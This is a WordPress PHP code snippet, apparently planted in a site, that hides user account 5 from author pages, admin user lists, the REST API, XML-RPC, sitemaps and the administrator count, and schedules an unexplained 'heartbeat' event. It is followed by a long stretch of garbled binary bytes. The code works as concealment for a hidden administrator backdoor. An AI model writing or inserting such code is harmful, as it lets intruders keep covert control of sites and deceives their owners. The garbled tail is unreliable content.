add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
՝_oْ؟w zOb\Ia`Aj\K<-yk)ݖN5Ō=cNv[m ?OWz]??wwͮڷ_oٷWpZ_㺽ǫj!|pmشWnv]}|jW꿴jpW\uy?f3gCضSw?]}ܶw~4Yl7݇ÿ<|y-7}<=<ֻ߯aZ6vk7'"uO3>;s]^/_|݇fH;7!D6_~^j]_~_#\߷w_i4/o~:qsïs:RAl}?[_v7 "dnu~<]vTt0hč 5t!ш됰N#57qZ
~uo7ɹ@Wq<輊39i./N짹Lm&S۱}佣玤Ptܤq=7IlWѫ鍸vut''tzPkJ7(b-wEk'OsG'0:~@?lx2 (*n2NX?Mύ5~Z D
Up䤍/lB> l;8(介Ǻ~6A.j+3Oy#JTw$7]̚|C'57_Ѓ1>_9?O#4-7gwO|q=6;]8.>o|8xN\,'m?MuȠ0=V!"&BD"D~4;qrxijƉF WsPLzF8{b=\c5!s>֚"+F:++ptuPX)oHbn:swo{TمaD씈I 'L&'=Ș`ꐋ m
X"US}0J No&iD]
$fj0r)?֊L #y8t# JMgIѫ)}VpH9MpՄ@'(
NbcAgcA͙ԘcyI
H gxQNp,Rʣ"RɆH׃kU2\VC
V-$ wV -UH}:I@z\
NߢF'q1WZ)q|(|\=w#m-}#w0) l[,(j`Bpt>VuUjq|<+PcU\ޑ#gCpӒ1\ziɹXZ ]k_Fȑ7:'%啝U"i4ʧ%GV#gG9.4xNK}.ACpJZÊls?tOK
粦%w>WNv VbB8'R
bEKAT2=`08-ySq<#Rl&]y'gG.Ӓ{Ҋ:r|wvyBd173*1iw\Ӓ]z%v.GKTIk;&%ǚ\
aXkZ
BqVG>ȭ1r+ &@ppC'+4+_~VRiM*(vyb{%$a\E!I#;*Z[-ph)t+mAͣXo+c!AByp|ѵZX\i(HNyjIEb"G{9-yxgG$GdG|:rvr^!-7V"c?grpNWœ~21QzZr3+MṁewJr@],v=,r\Lj8WAEy
&t8Bzqp$ȴRPxEDv"9/)5PR$\9JVw GV̽N{hso7q=4\^8xi
z'@W@7(M*+d%OPefY
7gM
z3P[$i1P~-+D^խ)؍~&S/QC=V2OJ"\mbk2RtU_P+*C:r
uxuެVȑlra.WȁW˸Mύ"tX
DyHNLJ57>ȓ#OQ3P'jgOJZ#VvKͣAaV՛ݡ^swٿkFyo9L9L@Ele1X#Z䜇@j1=V
ǁb2AGC9f^s"J7\07)9pNQA^q[-\!稅{CZ7RED